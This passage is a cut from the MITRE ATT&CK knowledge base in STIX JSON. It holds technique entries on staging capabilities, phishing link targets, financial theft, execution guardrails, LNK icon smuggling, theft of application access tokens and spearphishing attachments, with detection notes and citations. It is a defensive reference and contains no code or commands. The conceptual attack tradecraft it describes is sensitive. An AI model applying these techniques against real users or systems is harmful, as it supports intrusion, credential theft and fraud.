            "description": "Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)\n\nStaging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n* Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)\n* Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019)\n* Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)\n* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Internet Scan: Response Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701",
            "created": "2021-03-17T20:35:08.429Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1608/005",
                    "external_id": "T1608.005"
                },
                {
                    "source_name": "Netskope GCP Redirection",
                    "description": "Ashwin Vamshi. (2019, January 24). Targeted Attacks Abusing Google Cloud Platform Open Redirection. Retrieved August 18, 2022.",
                    "url": "https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection"
                },
                {
                    "source_name": "Netskope Cloud Phishing",
                    "description": "Ashwin Vamshi. (2020, August 12). A Big Catch: Cloud Phishing from Google App Engine and Azure App Service. Retrieved August 18, 2022.",
                    "url": "https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service"
                },
                {
                    "source_name": "URI Unique",
                    "description": "Australian Cyber Security Centre. National Security Agency. (2020, April 21). Detect and Prevent Web Shell Malware. Retrieved February 9, 2024.",
                    "url": "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF"
                },
                {
                    "source_name": "Kaspersky-masking",
                    "description": "Dedenok, Roman. (2023, December 12). How cybercriminals disguise URLs. Retrieved January 17, 2024.",
                    "url": "https://www.kaspersky.com/blog/malicious-redirect-methods/50045/"
                },
                {
                    "source_name": "Talos IPFS 2022",
                    "description": "Edmund Brumaghin. (2022, November 9). Threat Spotlight: Cyber Criminal Adoption of IPFS for Phishing, Malware Campaigns. Retrieved March 8, 2023.",
                    "url": "https://blog.talosintelligence.com/ipfs-abuse/"
                },
                {
                    "source_name": "Malwarebytes Silent Librarian October 2020",
                    "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.",
                    "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/"
                },
                {
                    "source_name": "URI",
                    "description": "Michael Cobb. (2007, October 11). Preparing for uniform resource identifier (URI) exploits. Retrieved February 9, 2024.",
                    "url": "https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits"
                },
                {
                    "source_name": "URI Use",
                    "description": "Nathan McFeters. Billy Kim Rios. Rob Carter.. (2008). URI Use and Abuse. Retrieved February 9, 2024.",
                    "url": "https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf"
                },
                {
                    "source_name": "iOS URL Scheme",
                    "description": "Ostorlab. (n.d.). iOS URL Scheme Hijacking. Retrieved February 9, 2024.",
                    "url": "https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html"
                },
                {
                    "source_name": "Intezer App Service Phishing",
                    "description": "Paul Litvak. (2020, October 8). Kud I Enter Your Server? New Vulnerabilities in Microsoft Azure. Retrieved August 18, 2022.",
                    "url": "https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/"
                },
                {
                    "source_name": "Proofpoint TA407 September 2019",
                    "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian"
                },
                {
                    "source_name": "Cofense-redirect",
                    "description": "Raymond, Nathaniel. (2023, August 16). Major Energy Company Targeted in Large QR Code Phishing Campaign. Retrieved January 17, 2024.",
                    "url": "https://cofense.com/blog/major-energy-company-targeted-in-large-qr-code-campaign/"
                },
                {
                    "source_name": "mandiant-masking",
                    "description": "Simonian, Nick. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved January 17, 2024.",
                    "url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"
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            "modified": "2025-04-15T22:45:40.961Z",
            "name": "Link Target",
            "description": "Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link. \n\nTypically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001).\n\nLinks can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing.(Citation: Kaspersky-masking)(Citation: mandiant-masking)\n\nAdversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages.(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)(Citation: Intezer App Service Phishing)(Citation: Cofense-redirect) In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique) Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.(Citation: Talos IPFS 2022)",
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                    "source_name": "VEC",
                    "description": "CloudFlare. (n.d.). What is vendor email compromise (VEC)?. Retrieved September 12, 2023.",
                    "url": "https://www.cloudflare.com/learning/email-security/what-is-vendor-email-compromise/#:~:text=Vendor%20email%20compromise%2C%20also%20referred,steal%20from%20that%20vendor%27s%20customers."
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                    "source_name": "Crowdstrike-leaks",
                    "description": "Crowdstrike. (2020, September 24). Double Trouble: Ransomware with Data Leak Extortion, Part 1. Retrieved December 6, 2023.",
                    "url": "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/"
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                    "source_name": "Mandiant-leaks",
                    "description": "DANIEL KAPELLMANN ZAFRA, COREY HIDELBRANDT, NATHAN BRUBAKER, KEITH LUNDEN. (2022, January 31). 1 in 7 OT Ransomware Extortion Attacks Leak Critical Operational Technology Information. Retrieved August 18, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/ransomware-extortion-ot-docs"
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                {
                    "source_name": "DOJ-DPRK Heist",
                    "description": "Department of Justice. (2021). 3 North Korean Military Hackers Indicted in Wide-Ranging Scheme to Commit Cyber-attacks and Financial Crimes Across the Globe. Retrieved August 18, 2023.",
                    "url": "https://www.justice.gov/usao-cdca/pr/3-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyber-attacks-and"
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                {
                    "source_name": "FBI-BEC",
                    "description": "FBI. (2022). FBI 2022 Congressional Report on BEC and Real Estate Wire Fraud. Retrieved August 18, 2023.",
                    "url": "https://www.fbi.gov/file-repository/fy-2022-fbi-congressional-report-business-email-compromise-and-real-estate-wire-fraud-111422.pdf/view"
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                {
                    "source_name": "FBI-ransomware",
                    "description": "FBI. (n.d.). Ransomware. Retrieved August 18, 2023.",
                    "url": "https://www.cisa.gov/sites/default/files/Ransomware_Trifold_e-version.pdf"
                },
                {
                    "source_name": "AP-NotPetya",
                    "description": "FRANK BAJAK AND RAPHAEL SATTER. (2017, June 30). Companies still hobbled from fearsome cyberattack. Retrieved August 18, 2023.",
                    "url": "https://apnews.com/article/russia-ukraine-technology-business-europe-hacking-ce7a8aca506742ab8e8873e7f9f229c2"
                },
                {
                    "source_name": "Internet crime report 2022",
                    "description": "IC3. (2022). 2022 Internet Crime Report. Retrieved August 18, 2023.",
                    "url": "https://www.ic3.gov/Media/PDF/AnnualReport/2022_IC3Report.pdf"
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                {
                    "source_name": "BBC-Ronin",
                    "description": "Joe Tidy. (2022, March 30). Ronin Network: What a $600m hack says about the state of crypto. Retrieved August 18, 2023.",
                    "url": "https://www.bbc.com/news/technology-60933174"
                },
                {
                    "source_name": "wired-pig butchering",
                    "description": "Lily Hay Newman. (n.d.). \u2018Pig Butchering\u2019 Scams Are Now a $3 Billion Threat. Retrieved August 18, 2023.",
                    "url": "https://www.wired.com/story/pig-butchering-fbi-ic3-2022-report/"
                },
                {
                    "source_name": "NYT-Colonial",
                    "description": "Nicole Perlroth. (2021, May 13). Colonial Pipeline paid 75 Bitcoin, or roughly $5 million, to hackers.. Retrieved August 18, 2023.",
                    "url": "https://www.nytimes.com/2021/05/13/technology/colonial-pipeline-ransom.html"
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            "description": "Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware,(Citation: FBI-ransomware) business email compromise (BEC) and fraud,(Citation: FBI-BEC) \"pig butchering,\"(Citation: wired-pig butchering) bank hacking,(Citation: DOJ-DPRK Heist) and exploiting cryptocurrency networks.(Citation: BBC-Ronin) \n\nAdversaries may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) to conduct unauthorized transfers of funds.(Citation: Internet crime report 2022) In the case of business email compromise or email fraud, an adversary may utilize [Impersonation](https://attack.mitre.org/techniques/T1656) of a trusted entity. Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary.(Citation: FBI-BEC) This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft.(Citation: VEC)\n\nExtortion by ransomware may occur, for example, when an adversary demands payment from a victim after [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) (Citation: NYT-Colonial) and [Exfiltration](https://attack.mitre.org/tactics/TA0010) of data, followed by threatening to leak sensitive data to the public unless payment is made to the adversary.(Citation: Mandiant-leaks) Adversaries may use dedicated leak sites to distribute victim data.(Citation: Crowdstrike-leaks)\n\nDue to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and business disruption.(Citation: AP-NotPetya)",
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                {
                    "source_name": "FireEye Outlook Dec 2019",
                    "description": "McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html"
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                {
                    "source_name": "Trellix-Qakbot",
                    "description": "Pham Duy Phuc, John Fokker J.E., Alejandro Houspanossian and Mathanraj Thangaraju. (2023, March 7). Qakbot Evolves to OneNote Malware Distribution. Retrieved June 7, 2024.",
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                    "source_name": "FireEye Kevin Mandia Guardrails",
                    "description": "Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'. Retrieved January 17, 2019.",
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            "description": "Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary\u2019s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.\n\nAdversaries may identify and block certain user-agents to evade defenses and narrow the scope of their attack to victims and platforms on which it will be most effective. A user-agent self-identifies data such as a user's software application, operating system, vendor, and version. Adversaries may check user-agents for operating system identification and then only serve malware for the exploitable software while ignoring all other operating systems.(Citation: Trellix-Qakbot)",
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                    "source_name": "Volexity SolarWinds",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.",
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                    "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.",
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                    "source_name": "Pass The Cookie",
                    "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
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                    "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
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            "description": "Adversaries may smuggle commands to download malicious payloads past content filters by hiding them within otherwise seemingly benign windows shortcut files. Windows shortcut files (.LNK) include many metadata fields, including an icon location field (also known as the `IconEnvironmentDataBlock`) designed to specify the path to an icon file that is to be displayed for the LNK file within a host directory. \n\nAdversaries may abuse this LNK metadata to download malicious payloads. For example, adversaries have been observed using LNK files as phishing payloads to deliver malware. Once invoked (e.g., [Malicious File](https://attack.mitre.org/techniques/T1204/002)), payloads referenced via external URLs within the LNK icon location field may be downloaded. These files may also then be invoked by [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)/[System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218) arguments within the target path field of the LNK.(Citation: Unprotect Shortcut)(Citation: Booby Trap Shortcut 2017)\n\nLNK Icon Smuggling may also be utilized post compromise, such as malicious scripts executing an LNK on an infected host to download additional malicious payloads. \n",
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                    "source_name": "Hacker News GitHub Abuse 2024",
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                    "source_name": "FireEye APT29",
                    "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved November 17, 2024.",
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                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
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            "x_mitre_detection": "Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).",
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                {
                    "source_name": "Amnesty OAuth Phishing Attacks, August 2019",
                    "description": "Amnesty International. (2019, August 16). Evolving Phishing Attacks Targeting Journalists and Human Rights Defenders from the Middle-East and North Africa. Retrieved October 8, 2019.",
                    "url": "https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/"
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                {
                    "source_name": "SpecterOps Managed Identity 2022",
                    "description": "Andy Robbins. (2022, June 6). Managed Identity Attack Paths, Part 1: Automation Accounts. Retrieved March 18, 2025.",
                    "url": "https://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c"
                },
                {
                    "source_name": "Auth0 Understanding Refresh Tokens",
                    "description": "Auth0 Inc.. (n.d.). Understanding Refresh Tokens. Retrieved November 17, 2024.",
                    "url": "https://auth0.com/learn/refresh-tokens"
                },
                {
                    "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019",
                    "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.",
                    "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/"
                },
                {
                    "source_name": "Cider Security Top 10 CICD Security Risks",
                    "description": "Daniel Krivelevich and Omer Gil. (n.d.). Top 10 CI/CD Security Risks. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20220316130828/https://www.cidersecurity.io/top-10-cicd-security-risks/"
                },
                {
                    "source_name": "Trend Micro Pawn Storm OAuth 2017",
                    "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks"
                },
                {
                    "source_name": "Kubernetes Service Accounts",
                    "description": "Kubernetes. (2022, February 26). Configure Service Accounts for Pods. Retrieved April 1, 2022.",
                    "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
                },
                {
                    "source_name": "Entra Managed Identities 2025",
                    "description": "Microsoft Entra. (2025, February 27). How to use managed identities for Azure resources on an Azure VM to acquire an access token. Retrieved March 18, 2025.",
                    "url": "https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token"
                },
                {
                    "source_name": "Microsoft - Azure AD Identity Tokens - Aug 2019",
                    "description": "Microsoft. (2019, August 29). Microsoft identity platform access tokens. Retrieved September 12, 2019.",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens"
                },
                {
                    "source_name": "Microsoft - Azure AD App Registration - May 2019",
                    "description": "Microsoft. (2019, May 8). Quickstart: Register an application with the Microsoft identity platform. Retrieved September 12, 2019.",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app"
                },
                {
                    "source_name": "Microsoft - OAuth Code Authorization flow - June 2019",
                    "description": "Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0 authorization code flow. Retrieved September 12, 2019.",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow"
                },
                {
                    "source_name": "Microsoft Identity Platform Protocols May 2019",
                    "description": "Microsoft. (n.d.). Retrieved September 12, 2019.",
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            "description": "Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019)  Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.\n\nFor example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container\u2019s token and thereby gain access to Kubernetes API commands.(Citation: Kubernetes Service Accounts)  \n\nSimilarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment.(Citation: Cider Security Top 10 CICD Security Risks) If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges. \n\nIn Azure, an adversary who compromises a resource with an attached Managed Identity, such as an Azure VM, can request short-lived tokens through the Azure Instance Metadata Service (IMDS). These tokens can then facilitate unauthorized actions or further access to other Azure services, bypassing typical credential-based authentication.(Citation: Entra Managed Identities 2025)(Citation: SpecterOps Managed Identity 2022)\n\nToken theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. \n \nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nApplication access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens(Citation: Auth0 Understanding Refresh Tokens), allowing them to obtain new access tokens without prompting the user.  ",
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                    "source_name": "ACSC Email Spoofing",
                    "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"
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                    "source_name": "Sophos Attachment",
                    "description": "Ducklin, P. (2020, October 2). Serious Security: Phishing without links \u2013 when phishers bring along their own web pages. Retrieved October 20, 2020.",
                    "url": "https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/"
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                {
                    "source_name": "Huntress HTML Smuggling 2024",
                    "description": "Matt Kiely. (2024, July 5). Smuggler\u2019s Gambit: Uncovering HTML Smuggling Adversary in the Middle Tradecraft. Retrieved March 18, 2025.",
                    "url": "https://www.huntress.com/blog/smugglers-gambit-uncovering-html-smuggling-adversary-in-the-middle-tradecraft"
                },
                {
                    "source_name": "Microsoft Anti Spoofing",
                    "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.",
                    "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"
                },
                {
                    "source_name": "GitHub Phishery",
                    "description": "Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020.",
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            "description": "Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email. In some cases, they may rely upon the recipient populating information, then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. In other cases, adversaries may leverage techniques such as [HTML Smuggling](https://attack.mitre.org/techniques/T1027/006) to harvest user credentials via fake login portals.(Citation: Huntress HTML Smuggling 2024)\n\nAdversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.",
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            "x_mitre_detection": "Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)",
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        {
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            "created": "2020-01-19T16:10:15.008Z",
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                    "url": "https://attack.mitre.org/techniques/T1098/001",
                    "external_id": "T1098.001"
                },
                {
                    "source_name": "Crowdstrike AWS User Federation Persistence",
                    "description": " Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023.",
                    "url": "https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/"
                },
                {
                    "source_name": "Expel IO Evil in AWS",
                    "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.",
                    "url": "https://expel.io/blog/finding-evil-in-aws/"
                },
                {
                    "source_name": "SpecterOps Azure Privilege Escalation",
                    "description": "Andy Robbins. (2021, October 12). Azure Privilege Escalation via Service Principal Abuse. Retrieved April 1, 2022.",
                    "url": "https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5"
                },
                {
                    "source_name": "Demystifying Azure AD Service Principals",
                    "description": "Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020.",
                    "url": "https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/"
                },
                {
                    "source_name": "Lacework AI Resource Hijacking 2024",
                    "description": "Detecting AI resource-hijacking with Composite Alerts. (2024, June 6). Lacework Labs. Retrieved July 1, 2024.",
                    "url": "https://www.lacework.com/blog/detecting-ai-resource-hijacking-with-composite-alerts"
                },
                {
                    "source_name": "GCP SSH Key Add",
                    "description": "Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020.",
                    "url": "https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add"
                },
                {
                    "source_name": "Permiso Scattered Spider 2023",
                    "description": "Ian Ahl. (2023, September 20). LUCR-3: SCATTERED SPIDER GETTING SAAS-Y IN THE CLOUD. Retrieved September 25, 2023.",
                    "url": "https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud"
                },
                {
                    "source_name": "Blue Cloud of Death Video",
                    "description": "Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming Azure. Retrieved November 21, 2019.",
                    "url": "https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815"
                },
                {
                    "source_name": "Blue Cloud of Death",
                    "description": "Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019.",
                    "url": "https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1"
                },
                {
                    "source_name": "Microsoft Entra ID App Passwords",
                    "description": "Microsoft. (2023, October 23). Enforce Microsoft Entra multifactor authentication with legacy applications using app passwords. Retrieved May 28, 2024.",
                    "url": "https://learn.microsoft.com/en-us/entra/identity/authentication/howto-mfa-app-passwords"
                },
                {
                    "source_name": "Microsoft SolarWinds Customer Guidance",
                    "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.",
                    "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"
                },
                {
                    "source_name": "Mandiant APT42 Operations 2024",
                    "description": "Ofir Rozmann, Asli Koksal, Adrian Hernandez, Sarah Bock, and Jonathan Leathery. (2024, May 1). Uncharmed: Untangling Iran's APT42 Operations. Retrieved May 28, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations"
                },
                {
                    "source_name": "Expel Behind the Scenes",
                    "description": "S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020, July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved October 1, 2020.",
